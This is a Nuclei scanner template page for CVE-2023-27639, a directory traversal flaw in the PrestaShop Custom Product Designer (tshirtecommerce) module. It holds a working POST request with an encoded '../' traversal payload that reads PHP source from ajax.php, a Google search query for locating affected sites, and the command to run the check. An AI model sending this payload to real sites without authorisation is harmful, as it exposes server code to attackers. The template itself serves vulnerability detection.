PrestaShop TshirteCommerce - Directory Traversal

ID: CVE-2023-27639

Severity: high

Author: MaStErChO

Tags: cve,cve2023,prestashop,tshirtecommerce,lfi

Description

The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.

YAML Source

id: CVE-2023-27639

info:
  name: PrestaShop TshirteCommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27639/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27639
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27639
    cwe-id: CWE-22
    epss-score: 0.04552
    epss-percentile: 0.92497
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi

http:
  - method: POST
    path:
      - "{{BaseURL}}/tshirtecommerce/ajax.php?type=svg"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples&file_name=examples.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SqlFormatter Examples"
          - "SqlFormatter"
          - "<?php"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100af409f5cdd259b35ba823f68a3e6df232560e16e51f3f691c99275d16f2c85ef022100bfb8cc30f8aa11e5f9d6613c417ff66379886167064f033e9eaec8c5d7bc4ee5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27639.yaml"

View on Github